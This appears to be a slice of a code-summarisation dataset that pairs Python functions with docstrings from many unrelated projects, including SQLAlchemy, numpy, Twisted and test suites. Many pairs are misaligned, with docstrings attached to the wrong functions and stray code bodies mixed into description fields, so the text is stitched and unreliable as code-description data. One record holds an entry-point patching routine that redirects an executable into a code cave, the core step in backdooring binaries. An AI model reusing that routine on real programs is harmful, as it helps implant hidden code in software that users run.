:class:`.Session`from a second level cache, or to transfer just-loaded objectsinto the :class:`.Session` owned by a worker thread or processwithout re-querying the database.The ``load=False`` use case adds the caveat that the givenobject has to be in a \"clean\" state, that is, has no pending changesto be flushed - even if the incoming object is detached from any:class:`.Session`. This is so that whenthe merge operation populates local attributes andcascades to related objects andcollections, the values can be \"stamped\" onto thetarget object as is, without generating any history or attributeevents, and without the need to reconcile the incoming data withany existing related objects or collections that might notbe loaded. The resulting objects from ``load=False`` are alwaysproduced as \"clean\", so it is only appropriate that the given objectsshould be \"clean\" as well, else this suggests a mis-use of themethod... seealso:::func:`.make_transient_to_detached` - provides for an alternativemeans of \"merging\" a single object into the :class:`.Session`"} {"code": "def test_no_args_function(self):\n Tests that trying to remove the auth token when it does not exist\n does not make the function fail.\n \"\"\"", "nl": "Tests that a function with no args returns an empty dictionary.params = symmetric.helpers.filter_params(function=self.no_params_function,data=self.data_extra,has_token=False,token_key=\"irrelevant\")self.assertEqual(params, {})def test_no_auth_data(self):"} {"code": "def finish(self):\n\n This is used for new Components being created (so they can have\n a unique identifier in the .cfg file).\n \"\"\"", "nl": "Shut down this page.if not self.finished:self.finished = Trueself.gui.remove_page(self)def generate_uid(self, obj, prefix):Make a new unique identifier for an object."} {"code": "def _lines(tbl):\n", "nl": "Convert table to list of lines.return list(six.moves.map(str.strip, str(tbl).splitlines()))class CliTest(unittest.TestCase):These are Tests for teadmill.warm."} {"code": "def _get_next_minibatch_inds(self):\n assert len(blob_names) == len(blobs)\n t = time.time()\n dev = c2_utils.CudaDevice(gpu_id)\n queue_name = 'gpu_{}/{}'.format(gpu_id, self._blobs_queue_name)\n blob_names = ['gpu_{}/{}'.format(gpu_id, b) for b in blob_names]\n for (blob_name, blob) in zip(blob_names, blobs):\n workspace.FeedBlob(blob_name, blob, device_option=dev)\n logger.debug(\n 'enqueue_blobs {}: workspace.FeedBlob: {}'.\n format(gpu_id, time.time() - t)\n )\n t = time.time()\n op = core.CreateOperator(\n 'SafeEnqueueBlobs', [queue_name] + blob_names,\n blob_names + [queue_name + '_enqueue_status'],\n device_option=dev\n )\n workspace.RunOperatorOnce(op)\n logger.debug(\n 'enqueue_blobs {}: workspace.RunOperatorOnce: {}'.\n format(gpu_id, time.time() - t)\n )\n", "nl": "Return the roidb indices for the next minibatch. Thread safe.with self._lock:# We use a deque and always take the *first* IMS_PER_BATCH items# followed by *rotating* the deque so that we see fresh items# each time. If the length of _perm is not divisible by# IMS_PER_BATCH, then we end up wrapping around the permutation.db_inds = [self._perm[i] for i in range(cfg.TRAIN.IMS_PER_BATCH)]self._perm.rotate(-cfg.TRAIN.IMS_PER_BATCH)self._cur += cfg.TRAIN.IMS_PER_BATCHif self._cur >= len(self._perm):self._shuffle_roidb_inds()return db_indsdef get_output_names(self):return self._output_namesdef enqueue_blobs(self, gpu_id, blob_names, blobs):Put a mini-batch on a BlobsQueue."} {"code": "def shape(self, input_shapes):\n\t\tif len(input_shapes) > 1:\n\t\t\traise ValueError('Transpose layers only take a single input.')\n\t\tinput_shape = input_shapes[0]\n\n\t\tif self.include_batch:\n\t\t\treturn tuple(input_shape[i-1] for i in self.axes if i > 0)\n\t\treturn tuple(input_shape[i] for i in self.axes)\n", "nl": " Returns the output shape of this layer for a given input shape."} {"code": "def test_file_format_2bitsx2():\n run_acq_test(1000, 0, [1], '2bits_x2')\n\n", "nl": "Test different file formats: '2bits_x2'"} {"code": "def _generate_index_join(self, index_join_op: IndexJoin):\n\n template = open(\n \"{0}/join.tmpl\".format(self.template_directory), 'r').read()\n left_key_cols_str = \",\".join([str(col.idx)\n for col in join_op.left_join_cols])\n right_key_cols_str = \",\".join(\n [str(col.idx) for col in join_op.right_join_cols])\n left_rel = join_op.left_parent.out_rel\n right_rel = join_op.right_parent.out_rel\n\n cols_to_keep = list(\n range(\n len(left_rel.columns)\n + len(right_rel.columns)\n + (1 if not self.config.use_leaky_ops else 0)))\n print(cols_to_keep)\n cols_to_exclude = [col.idx + len(left_rel.columns)\n for col in join_op.right_join_cols]\n cols_to_keep_str = \",\".join(\n [str(idx) for idx in cols_to_keep if idx not in cols_to_exclude])\n\n data = {\n \"TYPE\": \"uint32\",\n \"OUT_REL\": join_op.out_rel.name,\n \"LEAKY_SUFFIX\": \"Leaky\" if self.config.use_leaky_ops else \"\",\n \"LEFT_IN_REL\": join_op.get_left_in_rel().name,\n \"LEFT_KEY_COLS\": \"{\" + left_key_cols_str + \"}\",\n \"RIGHT_IN_REL\": join_op.get_right_in_rel().name,\n \"RIGHT_KEY_COLS\": \"{\" + right_key_cols_str + \"}\",\n \"COLS_TO_KEEP\": \"{\" + cols_to_keep_str + \"}\"\n }\n return pystache.render(template, data)\n", "nl": " Generate code for Index Join operations. template = open(\"{0}/index_join.tmpl\".format(self.template_directory), 'r').read()index_rel = index_join_op.index_rel.out_reldata = {\"TYPE\": \"uint32\",\"OUT_REL\": index_join_op.out_rel.name,\"LEFT_IN_REL\": index_join_op.get_left_in_rel().name,\"LEFT_KEY_COLS\": str(index_join_op.left_join_cols[0].idx),\"RIGHT_IN_REL\": index_join_op.get_right_in_rel().name,\"RIGHT_KEY_COLS\": str(index_join_op.right_join_cols[0].idx),\"INDEX_REL\": index_rel.name}return pystache.render(template, data)def _generate_join(self, join_op: Join): Generate code for Join operations. "} {"code": "def polygrid2d(x, y, c):\n c = polyval(x, c)\n c = polyval(y, c)\n return c\n\n", "nl": "Evaluate a 2-D polynomial on the Cartesian product of x and y.This function returns the values:.. math:: p(a,b) = \\\\sum_{i,j} c_{i,j} * a^i * b^jwhere the points `(a, b)` consist of all pairs formed by taking`a` from `x` and `b` from `y`. The resulting points form a grid with`x` in the first dimension and `y` in the second.The parameters `x` and `y` are converted to arrays only if they aretuples or a lists, otherwise they are treated as a scalars. In eithercase, either `x` and `y` or their elements must support multiplicationand addition both with themselves and with the elements of `c`.If `c` has fewer than two dimensions, ones are implicitly appended toits shape to make it 2-D. The shape of the result will be c.shape[2:] +x.shape + y.shape.Parameters----------x, y : array_like, compatible objectsThe two dimensional series is evaluated at the points in theCartesian product of `x` and `y`. If `x` or `y` is a list ortuple, it is first converted to an ndarray, otherwise it is leftunchanged and, if it isn't an ndarray, it is treated as a scalar.c : array_likeArray of coefficients ordered so that the coefficients for terms ofdegree i,j are contained in ``c[i,j]``. If `c` has dimensiongreater than two the remaining indices enumerate multiple sets ofcoefficients.Returns-------values : ndarray, compatible objectThe values of the two dimensional polynomial at points in the Cartesianproduct of `x` and `y`.See Also--------polyval, polyval2d, polyval3d, polygrid3dNotes-----.. versionadded:: 1.7.0"} {"code": "def get_edge_line_eig(graph, k=3):\n line_graph = nx.line_graph(graph)\n\n return get_node_eig(line_graph, k=k)\n\n", "nl": "Get k edges to attack using eigenvector centrality by transforming the graph into a line graph :cite:`tong2012gelling`.:param graph: an undirected NetworkX graph:param k: number of edges to attack:return: a list of edge tuples to attack"} {"code": "def __init__(self, unsafeTracebacks=False, security=globalSecurity):\n self.unsafeTracebacks = unsafeTracebacks\n self.security = security\n self._reset()\n\n", "nl": "@param unsafeTracebacks: if set, tracebacks for exceptions will be sentover the wire.@type unsafeTracebacks: C{bool}@param security: security options used by the broker, default toC{globalSecurity}.@type security: L{twisted.spread.jelly.SecurityOptions}"} {"code": "def add(self, key, miscData=None):\n in the dictionary, its previous value is returned.\"\"\"", "nl": "Insert a new key and return its value.c = next(self.counter)if miscData is not None:for d_name, data in miscData:getattr(self, d_name)[c] = dataself[key] = creturn cdef addUnique(self, key, miscData=None):Insert a new key and return its value; if the key is already"} {"code": "def check_cond_edge(form, error):\n if not form.unique_id_1.data:\n error.append(\"{id} must be set\".format(\n id=form.unique_id_1.label.text))\n if not form.output_state.data:\n error.append(\"{id} must be set\".format(\n id=form.output_state.label.text))\n if not form.output_duration.data:\n error.append(\"{id} must be set\".format(\n id=form.output_duration.label.text))\n return error\n\n", "nl": "Checks if the saved variables have any errors.if not form.measurement or form.measurement == '':error.append(\"Measurement must be set\")return errordef check_form_output_duration(form, error):Checks if the submitted form has any errors."} {"code": "def __init__(self, cr):\n DistributedObject.DistributedObject.__init__(self, cr)\n\n self.localToonOnBoard = 0\n\n self.trolleyCountdownTime = \\\n base.config.GetFloat(\"trolley-countdown-time\",\n TROLLEY_COUNTDOWN_TIME)\n\n self.fsm = ClassicFSM.ClassicFSM('DistributedTrolley',\n [State.State('off',\n self.enterOff,\n self.exitOff,\n ['entering',\n 'waitEmpty',\n 'waitCountdown',\n 'leaving']),\n State.State('entering',\n self.enterEntering,\n self.exitEntering,\n ['waitEmpty']),\n State.State('waitEmpty',\n self.enterWaitEmpty,\n self.exitWaitEmpty,\n ['waitCountdown']),\n State.State('waitCountdown',\n self.enterWaitCountdown,\n self.exitWaitCountdown,\n ['waitEmpty', 'leaving']),\n State.State('leaving',\n self.enterLeaving,\n self.exitLeaving,\n ['entering'])],\n 'off',\n 'off',\n )\n self.fsm.enterInitialState()\n\n self.trolleyAwaySfx = base.loadSfx(\"phase_4/audio/sfx/SZ_trolley_away.mp3\")\n self.trolleyBellSfx = base.loadSfx(\"phase_4/audio/sfx/SZ_trolley_bell.mp3\")\n\n self.__toonTracks = {}\n\n self.avIds = [0,0,0,0]\n\n self.kartModelPath = 'phase_6/models/golf/golf_cart3.bam'\n", "nl": "__init__(cr)"} {"code": "def find_loader(fullname):\n for importer in iter_importers(fullname):\n loader = importer.find_module(fullname)\n if loader is not None:\n return loader\n\n return None\n\n", "nl": "Find a PEP 302 \"loader\" object for fullnameIf fullname contains dots, path must be the containing package's __path__.Returns None if the module cannot be found or imported. This function usesiter_importers(), and is thus subject to the same limitations regardingplatform-specific special import locations such as the Windows registry."} {"code": "def create_units(self, player_id, quantity, unit_type=0, x=100, y=100, start=0, end=250):\n\n if x < 0:\n x = (random.randint(0, (end - start)) + start) * DISTANCE_FACTOR\n\n if y < 0:\n y = (random.randint(0, (end - start)) + start) * DISTANCE_FACTOR\n commands = []\n\n for _ in range(quantity):\n command = [\n tcc.command_openbw,\n tcc.openbwcommandtypes.SpawnUnit,\n player_id,\n unit_type,\n x,\n y,\n ]\n commands.append(command)\n\n return commands\n", "nl": "Create units in specific location (x, y) within bounding box of(start, start) and (end, end). If either of x or y is -1, that coordindate isinitialized randomly within the range specified.Arguments:player_id {int} -- ID of the player for which to create unitsquantity {int} -- Number of units to createKeyword Arguments:unit_type {int} -- ID of unit type to create, 0 is marine (default: {0})x {int} -- X coordinate of initialization. If -1, it is random (default: {100})y {int} -- Y coordinate of initialization. If -1, it is random (default: {100})start {int} -- Start of bounding box (default: {0})end {int} -- End of bounding box. (default: {250})Default arguments of start and end cover whole map. If you see some errors regardingdivision with zero when you default \"end\" of 250, try decreasing it."} {"code": "def test_22_admin_list_categories(self):\n self.create()\n url = '/admin/categories'\n res = self.app_get_json(url, follow_redirects=True)\n dom = BeautifulSoup(res.data)\n err_msg = \"Anonymous users should be redirected to sign in\"\n assert dom.find(id='signin') is not None, err_msg\n\n self.signin(email=self.email_addr2, password=self.password)\n res = self.app_get_json(url)\n data = json.loads(res.data)\n err_msg = \"Non-Admin users should get 403\"\n assert res.status_code == 403, err_msg\n assert data.get('code') == 403, err_msg\n self.signout()\n\n self.signin(email=self.root_addr, password=self.root_password)\n res = self.app_get_json(url)\n data = json.loads(res.data)\n err_msg = \"Admin users should be get a list of Categories\"\n assert data.get('categories') is not None, err_msg\n assert data.get('template') == 'admin/categories.html', err_msg\n assert data.get('form') is not None, err_msg\n assert data.get('form').get('csrf') is not None, err_msg\n assert data.get('n_projects_per_category') is not None, err_msg\n assert data.get('n_projects_per_category').get('thinking') == 1, err_msg\n\n\n @with_context", "nl": "Test ADMIN list categories worksself.create()# Anonymous userurl = '/admin/categories'res = self.app.get(url, follow_redirects=True)dom = BeautifulSoup(res.data)err_msg = \"Anonymous users should be redirected to sign in\"assert dom.find(id='signin') is not None, err_msg# Authenticated user but not adminself.signin(email=self.email_addr2, password=self.password)res = self.app.get(url, follow_redirects=True)err_msg = \"Non-Admin users should get 403\"assert res.status_code == 403, err_msgself.signout()# Admin userself.signin(email=self.root_addr, password=self.root_password)res = self.app.get(url, follow_redirects=True)dom = BeautifulSoup(res.data)err_msg = \"Admin users should be get a list of Categories\"assert dom.find(id='categories') is not None, err_msg@with_contextdef test_22_admin_list_categories_json(self):Test ADMIN JSON list categories works"} {"code": "def __repr__(self):\n return self._sql\n\n @property", "nl": "Creates a friendly representation of this object.Returns:The friendly representation of this object (the unmodified SQL)."} {"code": "def quaternion_slerp(quat0, quat1, fraction, spin=0, shortestpath=True):\n q0 = unit_vector(quat0[:4])\n q1 = unit_vector(quat1[:4])\n if fraction == 0.0:\n return q0\n elif fraction == 1.0:\n return q1\n d = numpy.dot(q0, q1)\n if abs(abs(d) - 1.0) < _EPS:\n return q0\n if shortestpath and d < 0.0:\n d = -d\n q1 *= -1.0\n angle = math.acos(d) + spin * math.pi\n if abs(angle) < _EPS:\n return q0\n isin = 1.0 / math.sin(angle)\n q0 *= math.sin((1.0 - fraction) * angle) * isin\n q1 *= math.sin(fraction * angle) * isin\n q0 += q1\n return q0\n\n", "nl": "Return spherical linear interpolation between two quaternions.>>> q0 = random_quaternion()>>> q1 = random_quaternion()>>> q = quaternion_slerp(q0, q1, 0.0)>>> numpy.allclose(q, q0)True>>> q = quaternion_slerp(q0, q1, 1.0, 1)>>> numpy.allclose(q, q1)True>>> q = quaternion_slerp(q0, q1, 0.5)>>> angle = math.acos(numpy.dot(q0, q))>>> numpy.allclose(2.0, math.acos(numpy.dot(q0, q1)) / angle) or \\numpy.allclose(2.0, math.acos(-numpy.dot(q0, q1)) / angle)True"} {"code": "def split(str, length=80):\n return [chunk\n for line in str.split('\\n')\n for chunk in textwrap.wrap(line, length)]\n\n", "nl": "Split a string into multiple lines.Whitespace near C{str[length]} will be preferred as a breaking point.C{\"\\\\n\"} will also be used as a breaking point.@param str: The string to split.@type str: C{str}@param length: The maximum length which will be allowed for any string inthe result.@type length: C{int}@return: C{list} of C{str}"} {"code": "def update_index_urls(self, new_index_urls: List[str]) -> None:\n self.auth.index_urls = new_index_urls\n", "nl": ":param new_index_urls: New index urls to update the authenticationhandler with."} {"code": "def insert(self, index, *elements):\n return getint(self.tk.call(\n self._w, 'nearest', y))", "nl": "Insert ELEMENTS at INDEX.self.tk.call((self._w, 'insert', index) + elements)def nearest(self, y):Get index of item which is nearest to y coordinate Y."} {"code": "def readProcessProc(pid, key):\n try:\n filename = \"/proc/%s/%s\" % (pid, key)\n with open(filename) as proc:\n return proc.read()\n except IOError as err:\n raise ProcError(\"Process %s doesn't exist: %s\" % (pid, err))\n\n\nclass ProcessState(object):\n \"\"\"\n STATE_NAMES = {\n \"R\": \"running\",\n \"S\": \"sleeping\",\n \"D\": \"disk\",\n \"Z\": \"zombie\",\n \"T\": \"traced\",\n \"W\": \"paging\",\n }\n", "nl": "Read the content of a process entry in the proc directory.Eg. readProcessProc(pid, \"status\") to read /proc/pid/status."} {"code": "def encode(self, blocks_args):\n block_strings = []\n for block in blocks_args:\n block_strings.append(self._encode_block_string(block))\n return block_strings\n\n", "nl": "Encodes a list of Blocks to a list of strings.Args:blocks_args: A list of namedtuples to represent blocks arguments.Returns:a list of strings, each string is a notation of block."} {"code": "def reset(self, indices=None, max_frames=None, name=None):\n if indices is None:\n indices = np.arange(self.batch_size)\n reset_op = self.env.reset(indices=indices, max_frames=max_frames, name=name)\n with tf.control_dependencies([reset_op]):\n return self.stack_observation(indices, reset=True).op\n", "nl": "Resets Atari instances with a random noop start (1-30) and set the maximum number of frames for the episode (default 100,000 * frameskip)"} {"code": "def portrait_divergence(G1, G2, N1=None, N2=None):\n BG1 = _graph_or_portrait(G1)\n BG2 = _graph_or_portrait(G2)\n BG1, BG2 = pad_portraits_to_same_size(BG1, BG2)\n\n P_L = _get_prob_distance(BG1)\n P_KgL = _get_prob_k_given_L(BG1, N=N1)\n P_KaL = P_KgL * P_L[:, None]\n\n Q_L = _get_prob_distance(BG2)\n Q_KgL = _get_prob_k_given_L(BG2, N=N2)\n Q_KaL = Q_KgL * Q_L[:, None]\n\n P = P_KaL.ravel()\n Q = Q_KaL.ravel()\n\n return entropy.js_divergence(P, Q)", "nl": "Compute the portrait divergence between graphs G1 and G2.Parameters----------G1, G2 (nx.Graph or nx.DiGraph):Two graphs to compare.Returns-------JSDpq (float):the Jensen-Shannon divergence between the portraits of G1 and G2"} {"code": "def __init__(self, learner=None, ate_alpha=0.05, control_name=0):\n if learner is not None:\n self.model = learner\n else:\n self.model = DummyRegressor()\n self.ate_alpha = ate_alpha\n self.control_name = control_name\n", "nl": "Initialize an S-learner.Args:learner (optional): a model to estimate the treatment effectcontrol_name (str or int, optional): name of control group"} {"code": "def __call__(self, anchors, box_cls, box_regression, targets):\n anchors = [cat_boxlist(anchors_per_image) for anchors_per_image in anchors]\n labels, regression_targets = self.prepare_targets(anchors, targets)\n\n N = len(labels)\n box_cls, box_regression = \\\n concat_box_prediction_layers(box_cls, box_regression)\n\n labels = torch.cat(labels, dim=0)\n regression_targets = torch.cat(regression_targets, dim=0)\n pos_inds = torch.nonzero(labels > 0).squeeze(1)\n\n retinanet_regression_loss = smooth_l1_loss(\n box_regression[pos_inds],\n regression_targets[pos_inds],\n beta=self.bbox_reg_beta,\n size_average=False,\n ) / (max(1, pos_inds.numel() * self.regress_norm))\n\n labels = labels.int()\n\n retinanet_cls_loss = self.box_cls_loss_func(\n box_cls,\n labels\n ) / (pos_inds.numel() + N)\n\n return retinanet_cls_loss, retinanet_regression_loss\n\n", "nl": "Arguments:anchors (list[BoxList])box_cls (list[Tensor])box_regression (list[Tensor])targets (list[BoxList])Returns:retinanet_cls_loss (Tensor)retinanet_regression_loss (Tensor"} {"code": "def test_track_put(self):\n self.lua('put', 0, 'worker', 'queue', 'jid', 'klass', {}, 0)\n self.lua('track', 0, 'track', 'jid')\n job = self.lua('pop', 0, 'queue', 'worker', 10)[0]\n print self.lua('config.get', 0, 'grace-period')\n with self.lua:\n self.lua('pop', job['expires'] + 10, 'queue', 'worker', 10)\n self.assertEqual(self.lua.log, [{\n 'channel': 'ql:stalled',\n 'data': 'jid'\n }, {\n 'channel': 'ql:w:worker',\n 'data': '{\"jid\":\"jid\",\"event\":\"lock_lost\",\"worker\":\"worker\"}'\n }, {\n 'channel': 'ql:log',\n 'data': '{\"jid\":\"jid\",\"event\":\"lock_lost\",\"worker\":\"worker\"}'\n }])\n", "nl": "We should hear chatter when putting a tracked jobself.lua('put', 0, 'worker', 'queue', 'jid', 'klass', {}, 0)self.lua('track', 0, 'track', 'jid')with self.lua:self.lua('put', 0, 'worker', 'queue', 'jid', 'klass', {}, 0)self.assertEqual(self.lua.log, [{'channel': 'ql:log','data': '{\"jid\":\"jid\",\"event\":\"put\",\"queue\":\"queue\"}'}, {'channel': 'ql:put','data': 'jid'}])def test_track_stalled(self):We should hear chatter when a job stalls"} {"code": "def test_410_remove_one_port_by_number(self):\n FROM {centos}\n RUN touch /myinfo.txt\n EXPOSE 4444\n EXPOSE 5599\n \"\"\".format(**locals()))", "nl": " docker-copyedit.py from image1 into image2 remove port 4444 img = IMGpython = _pythondocker = _dockercopyedit = _copyedit()centos = _centos()logg.info(\": %s : %s\", python, img)testname = self.testname()testdir = self.testdir()text_file(os_path(testdir, \"Dockerfile\"), "} {"code": "def appendOps(self, ops):\n if isinstance(ops, list):\n self.ops.extend(ops)\n else:\n self.ops.append(ops)\n", "nl": " Append op(s) to the transaction builder:param list ops: One or a list of operations"} {"code": "def read_expression(self, geneListFile, header=False, valuestr=False):\n with open(geneListFile) as f:\n if header:\n l = f.readline()\n l = l.strip(\"\\n\")\n l = l.split(\"\\t\")\n self.cond = l[1:len(l)]\n else:\n l = f.readline()\n l = l.strip(\"\\n\")\n l = l.split(\"\\t\")\n self.cond = [str(e) for e in range(len(l) - 1)]\n for line in f.readlines():\n line = line.strip(\"\\n\")\n l = line.split(\"\\t\")\n if l[0] != \"\":\n try:\n if \".\" in l[0] and l[0][0:2] == \"EN\":\n na = l[0].partition(\".\")[0].upper()\n else:\n na = l[0].upper()\n self.genes.append(na)\n if not valuestr:\n self.values[na] = float(l[1])\n else:\n self.values[na] = l[1]\n except:\n print(\"*** error in loading gene: \" + line)\n", "nl": "Read gene expression data.*Keyword arguments:*- geneListFile -- Path to the file which contains genes and expression value.- header -- Read first line as header.- valuestr -- Keep the value as a string, otherwise convert to float number."} {"code": "def test_processed_flag_set(self):\n msg = self.create_outgoing_message()\n self.router.process_outgoing_phases(msg)\n self.assertTrue(msg.processed)\n", "nl": "BaseMessage.processed should be set to True afteroutgoing phase processing."} {"code": "def clean_raw_shape(shape, name='t3f_clean_raw_shape'):\n if shape is None:\n return None\n with tf.name_scope(name):\n if isinstance(shape, tf.TensorShape) or isinstance(shape[0], tf.TensorShape):\n if isinstance(shape, tf.TensorShape):\n shape = tuple((shape,))\n else:\n np_shape = np.array(shape)\n np_shape = np.squeeze(np_shape)\n if len(np_shape.shape) == 1:\n np_shape = [np_shape]\n shape = []\n for i in range(len(np_shape)):\n shape.append(tf.TensorShape(np_shape[i]))\n shape = tuple(shape)\n return shape\n\n", "nl": "Returns a tuple of TensorShapes for any valid shape representation.Args:shape: An np.array, a tf.TensorShape (for tensors), a tuple oftf.TensorShapes (for TT-matrices or tensors), or Nonename: string, name of the Op.Returns:A tuple of tf.TensorShape, or None if the input is None"} {"code": "def test_reproduce_mut1_max2():\n greater than 2\"\"\"", "nl": "Test reproduce method when mutation_prob is 1 and max_val is 2problem = DiscreteOpt(5, OneMax(), maximize=True)father = np.array([0, 0, 0, 0, 0])mother = np.array([1, 1, 1, 1, 1])child = problem.reproduce(father, mother, mutation_prob=1)assert (len(child) == 5 and sum(child) > 0 and sum(child) < 5)@staticmethoddef test_reproduce_mut1_max_gt2():Test reproduce method when mutation_prob is 1 and max_val is"} {"code": "def image_configuration(self):\n return self._image_configuration\n\n @image_configuration.setter", "nl": "Gets the image_configuration of this BuildImageRequestContent.Image configuration as a YAML document.:return: The image_configuration of this BuildImageRequestContent.:rtype: str"} {"code": "def OnFileSave(self, evt, saveAs=False):\n Call save using the saveAs flag in order to bring up a new dialog box\n so the user may set an alternate save path.\n \"\"\"", "nl": "Save the document.# Set a file path for the document if one does not exist, or for save# asif self.base.doc.file_path is None or saveAs:# Query a new save pathfilePath = self._GetSavePath()if filePath:self.base.doc.file_path = filePathelse:return# Save the fileself.base.doc.save()def OnFileSaveAs(self, evt):"} {"code": "def patch_initial_instructions(self):\n print \"[*] Patching initial entry instructions\"\n self.f.seek(self.flItms['LocOfEntryinCode'])\n self.f.write(struct.pack('=B', int('E9', 16)))\n if self.flItms['JMPtoCodeAddress'] < 0:\n self.f.write(struct.pack(' 5:\n for i in range(self.flItms['count_bytes'] - 5):\n self.f.write(struct.pack('=B', 0x90))\n", "nl": "This function takes the flItms dict and patches theexecutable entry point to jump to the first code cave."} {"code": "def get_historical_data(coin, since, kline_interval):\n if os.path.isfile(f'{coin}_{since}.csv'):\n print('Datafile already exists, loading file...')\n\n else:\n print(f'Fetching historical data for {coin}, this may take a few minutes...')\n\n start_time = time.perf_counter()\n data = client.get_historical_klines(coin, kline_interval, since)\n data = [item[0:5] for item in data]\n\n fields = ['timstamp', 'high', 'low', 'open', 'close']\n\n with open(f'{coin}_{since}.csv', 'w', newline='') as f:\n\n write = csv.writer(f)\n\n write.writerow(fields)\n write.writerows(data)\n\n end_time = time.perf_counter()\n\n time_elapsed = round(end_time - start_time)\n\n print(f'Historical data for {coin} saved as {coin}_{since}.csv. Time elapsed: {time_elapsed} seconds')\n return f'{coin}_{since}.csv'", "nl": "Args example:coin = 'BTCUSDT'since = '1 Jan 2021'kline_interval = Client.KLINE_INTERVAL_1MINUTE"} {"code": "def assertIsNotNone(self, obj, msg=None):", "nl": "Included for symmetry with assertIsNone.if obj is None:standardMsg = 'unexpectedly None'self.fail(self._formatMessage(msg, standardMsg))def assertIsInstance(self, obj, cls, msg=None):Same as self.assertTrue(isinstance(obj, cls)), with a nicer"} {"code": "def _validate_args(args, dargs, *funcs):\n all_co_flags = 0\n all_varnames = ()\n for func in funcs:\n all_co_flags |= func.func_code.co_flags\n all_varnames += func.func_code.co_varnames[:func.func_code.co_argcount]\n\n if len(args) > 0:\n raise error.TestError('Unnamed arguments not accepted. Please '\n 'call job.run_test with named args only')\n\n if len(dargs) > 0:\n if not all_co_flags & 0x08:\n for param in dargs:\n if param not in all_varnames:\n raise error.AutotestError('Unknown parameter: %s' % param)\n\n", "nl": "Verify that arguments are appropriate for at least one callable.Given a list of callables as additional parameters, verify thatthe proposed keyword arguments in dargs will each be accepted by at leastone of the callables.NOTE: args is currently not supported and must be empty.Args:args: A tuple of proposed positional arguments.dargs: A dictionary of proposed keyword arguments.*funcs: Callables to be searched for acceptance of args and dargs.Raises:error.AutotestError: if an arg won't be accepted by any of *funcs."} {"code": "def init(self):\n\n logger.info('Initializing all the poller controller modules')\n\n if not self._input_dir:\n logger.debug('Inizialing sources')\n\n self.sources = self.init_plugins('source')\n if not self.sources:\n raise SqPollerConfError(\n \"The inventory file doesn't have any source\"\n )\n\n logger.debug('Initialize chunker module')\n\n chunkers = self.init_plugins('chunker')\n if len(chunkers) > 1:\n raise SqPollerConfError(\n 'Only 1 Chunker at a time is supported'\n )\n self.chunker = chunkers[0]\n\n logger.debug('Initialize manager module')\n\n managers = self.init_plugins('manager')\n if len(managers) > 1:\n raise SqPollerConfError(\n 'Only 1 manager at a time is supported'\n )\n self.manager = managers[0]\n", "nl": "Loads the provider configuration and the plugins configurationsand initialize all the plugins"} {"code": "def compare(self, index1, op, index2):\n return self.tk.getboolean(self.tk.call(\n self._w, 'compare', index1, op, index2))", "nl": "Return whether between index INDEX1 and index INDEX2 therelation OP is satisfied. OP is one of <, <=, ==, >=, >, or !=."} {"code": "def test_get_credentials_prompt_for_passcode(self):", "nl": " Should prompt for passcode with factor in profile. self.login_config = "} {"code": "def _send_flow(self, active):\n args = Writer()\n args.write_bit(active)\n self.send_frame(MethodFrame(self.channel_id, 20, 20, args))\n self.channel.add_synchronous_cb(self._recv_flow_ok)\n", "nl": "Send a flow control command."} {"code": "def create_decimal(self, num='0'):\n\n if isinstance(num, str) and (num != num.strip() or '_' in num):\n return self._raise_error(ConversionSyntax,\n \"trailing or leading whitespace and \"\n \"underscores are not permitted.\")\n\n d = Decimal(num, context=self)\n if d._isnan() and len(d._int) > self.prec - self.clamp:\n return self._raise_error(ConversionSyntax,\n \"diagnostic info too long in NaN\")\n return d._fix(self)\n", "nl": "Creates a new Decimal instance but using self as context.This method implements the to-number operation of theIBM Decimal specification."} {"code": "def wait_service(service_dirs, action, all_services=True, timeout=0):\n cmd = [_get_cmd('svwait')]\n\n if timeout > 0:\n cmd.extend(['-t{}'.format(timeout)])\n\n if not all_services:\n cmd.append('-o')\n\n cmd.append('-' + _get_wait_action(action).value)\n cmd.extend(utils.get_iterable(service_dirs))\n\n subproc.check_call(cmd)\n\n", "nl": "Performs a wait task on the given list of service directories."} {"code": "def remove_if_exists(fnm):\n Copy a source directory tree to a destination directory tree,\n overwriting files as necessary. This does not require removing\n the destination folder, which can reduce the number of times\n shutil.rmtree needs to be called.\n \"\"\"", "nl": " Remove the file if it exists (doesn't return an error). if os.path.exists(fnm):os.remove(fnm)def which(fnm):# Get the location of a file. Works only on UNIX-like file systems.try:return os.path.split(os.popen('which %s 2> /dev/null' % fnm).readlines()[0].strip())[0]except:return ''def copy_tree_over(src, dest):"} {"code": "def is_synchronized(self):\n\n return self.access_flags & ACC_SYNCHRONIZED\n\n", "nl": "is this member synchronized"} {"code": "def check_fingerprint(self, directory: Path) -> None:\n if not directory.exists() or not directory.is_dir():\n raise ValueError(\"Directory {} is not valid.\".format(directory))\n _compare_fingerprints(\n self, directory, False, self.component_type.to_package_type()\n )\n", "nl": "Check that the fingerprint are correct against a directory path.:param directory: the directory path.:raises ValueError: if- the argument is not a valid package directory- the fingerprints do not match."} {"code": "def test_no_inline_sort() -> None:\n test_input = \"from foo import a, c, b\\n\"\n assert isort.code(test_input, no_inline_sort=True, force_single_line=False) == test_input\n assert (\n isort.code(test_input, no_inline_sort=False, force_single_line=False)\n == \"from foo import a, b, c\\n\"\n )\n expected = \"from foo import a\\nfrom foo import b\\nfrom foo import c\\n\"\n assert isort.code(test_input, no_inline_sort=False, force_single_line=True) == expected\n assert isort.code(test_input, no_inline_sort=True, force_single_line=True) == expected\n\n", "nl": "Test to ensure multiple `from` imports in one line are not sorted if `--no-inline-sort` flagis enabled.If `--force-single-line-imports` flag is enabled, then `--no-inline-sort` is ignored."} {"code": "def connect(self, env=None):\n try:\n self._login(user, password=password, database=database)\n except Error as exc:\n print('%s: %s' % (exc.__class__.__name__, exc))\n else:\n self.connect()\n\n cls.login = login\n cls.connect = connect\n\n return global_vars\n", "nl": "Connect to another environment and replace the globals().if env:# Safety measure: turn down the previous connectionglobal_vars['client'].reset()client = self.from_config(env, verbose=self.db._verbose)returnclient = selfenv = client._environment or client._dbtry: # copy the context to the new clientclient.context = dict(global_vars['client'].context)except (KeyError, TypeError):pass # client not yet in globals(), or context is Noneglobal_vars['client'] = clientif hasattr(client._server, 'modules'):global_vars['get_pool'] = get_pool# Tweak promptsys.ps1 = '%s >>> ' % (env,)sys.ps2 = '%s ... ' % (env,)# Logged in?if client.user:global_vars['model'] = client.modelglobal_vars['models'] = client.modelsglobal_vars['do'] = client.executeprint('Logged in as %r' % (client.user,))else:global_vars.update({'model': None, 'models': None, 'do': None})def login(self, user, password=None, database=None):Switch `user` and (optionally) `database`."} {"code": "def batch_size(self):\n if self.expr_list: return tt.batch_size(self.expr_list[0])\n elif self.expr_tensor is not None: return 